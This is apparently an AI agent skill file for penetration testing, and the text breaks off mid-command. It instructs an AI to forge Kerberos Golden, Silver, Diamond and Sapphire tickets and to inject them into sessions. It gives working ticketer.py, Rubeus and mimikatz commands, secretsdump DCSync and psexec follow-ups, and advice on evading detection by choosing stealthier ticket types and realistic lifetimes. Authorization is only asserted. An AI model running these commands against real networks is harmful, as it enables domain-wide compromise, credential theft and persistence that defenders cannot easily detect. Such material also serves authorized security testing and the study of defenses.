/kerberos-ticket-forging

name: kerberos-ticket-forging
description: >
  Forges Kerberos tickets for domain persistence and privilege escalation.
  Covers Golden Ticket (krbtgt hash → forged TGT), Silver Ticket (service hash
  → forged TGS), Diamond Ticket (decrypt/modify/re-encrypt legitimate TGT for
  stealth), Sapphire Ticket (U2U PAC swap), and Pass-the-Ticket injection.
keywords:
  - golden ticket
  - silver ticket
  - diamond ticket
  - sapphire ticket
  - forge ticket
  - forged TGT
  - forged TGS
  - krbtgt hash
  - ticket forging
  - ticketer.py
  - kerberos persistence
  - domain persistence
  - you have krbtgt or service account key material and need domain-wide access or persistence
tools:
  - Impacket (ticketer.py)
  - Rubeus
  - mimikatz
opsec: medium

Kerberos Ticket Forging

You are helping a penetration tester forge Kerberos tickets for domain persistence and privilege escalation. All testing is under explicit written authorization.

**Kerberos-first authentication**: Forged tickets are inherently Kerberos. Use `-k -no-pass` (Impacket) or `--use-kcache` (NetExec) for all operations with forged tickets.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[kerberos-ticket-forging] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Key material (see decision table below)
• Domain SID (`S-1-5-21-...`)
• Domain FQDN
• Tools: Impacket (`ticketer.py`, `getST.py`, `secretsdump.py`), optionally

`Rubeus`, `mimikatz`

**Get domain SID**:

# Impacket
lookupsid.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass | head -1

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
  'DC=DOMAIN,DC=LOCAL' --attr objectSid

# PowerView
Get-DomainSID

Step 1: Choose Ticket Type

| Material Available | Ticket Type | OPSEC | Go To | |-------------------|-------------|-------|-------| | krbtgt AES256 + legit creds | **Diamond** | **LOW** | Step 4 | | krbtgt AES256 + S4U2Self | **Sapphire** | **LOW** | Step 5 | | krbtgt NTLM or AES | **Golden** | **HIGH** | Step 2 | | Service account AES/NTLM | **Silver** | **MEDIUM** | Step 3 | | Stolen .ccache/.kirbi | **Pass-the-Ticket** | **LOW** | Step 6 |

**Always prefer Diamond > Sapphire > Silver > Golden** when key material allows.

Golden tickets are the most powerful but most detectable. Diamond tickets provide the same access with significantly better stealth.

Step 2: Golden Ticket

**Concept**: Forge a TGT using the krbtgt key. Grants access to any service as any user in the domain.

**Required material**: krbtgt NTLM hash or AES256 key + domain SID.

Impacket (Linux)

# With AES256 (preferred — matches domain encryption policy)
ticketer.py -aesKey KRBTGT_AES256 \
  -domain-sid S-1-5-21-XXX-YYY-ZZZ \
  -domain DOMAIN.LOCAL \
  Administrator

# With NTLM hash (RC4 — detectable in AES-enforced domains)
ticketer.py -nthash KRBTGT_NTHASH \
  -domain-sid S-1-5-21-XXX-YYY-ZZZ \
  -domain DOMAIN.LOCAL \
  Administrator

# With extra SIDs (cross-forest Enterprise Admins)
ticketer.py -aesKey KRBTGT_AES256 \
  -domain-sid S-1-5-21-XXX-YYY-ZZZ \
  -domain DOMAIN.LOCAL \
  -extra-sid S-1-5-21-FOREST-SID-519 \
  Administrator

# Inject and use
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@DC.DOMAIN.LOCAL -just-dc
psexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

Rubeus (Windows)

# Forge and inject
.\Rubeus.exe golden /aes256:KRBTGT_AES256 \
  /user:Administrator /id:500 \
  /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXX-YYY-ZZZ \
  /ldap /nowrap /ptt

Mimikatz (Windows)

# Forge golden ticket with realistic lifetime
kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL \
  /sid:S-1-5-21-XXX-YYY-ZZZ \
  /aes256:KRBTGT_AES256 \
  /id:500 /groups:512,513,518,519,520 \
  /startoffset:0 /endin:600 /renewmax:10080 \
  /ptt

OPSEC Notes — Golden Ticket

• **High detectability**: No preceding Event 4768 (AS-REQ) on the DC — the

ticket was forged offline, so the KDC never issued it

• Mimikatz default 10-year lifetime is a major indicator — use `/endin:600`

(10 hours) and `/renewmax:10080` (7 days) for realistic values

• Query domain policy for actual values:

  Get-DomainPolicy | select -expand KerberosPolicy

• RC4 encryption (etype 0x17) is anomalous in AES-enforced domains
• **Use Diamond Ticket instead** (Step 4) for stealth

Step 3: Silver Ticket

**Concept**: Forge a TGS for a specific service using the service account's key. Access is limited to that service — no KDC contact needed.

**Required material**: Service account AES256 key or NTLM hash + domain SID.

Impacket (Linux)

# With AES256 (mandatory for modern domains post-KB5021131)
ticketer.py -aesKey SERVICE_AES256 \
  -domain-sid S-1-5-21-XXX-YYY-ZZZ \
  -domain DOMAIN.LOCAL \
  -spn cifs/TARGET.DOMAIN.LOCAL \
  -duration 480 \
  Administrator

# Common SPNs to target
# cifs/host — file shares, psexec
# LDAP/DC   — DCSync
# MSSQLSvc/host:1433 — SQL access
# HTTP/host — web services, WinRM
# HOST/host — scheduled tasks, WMI

export KRB5CCNAME=Administ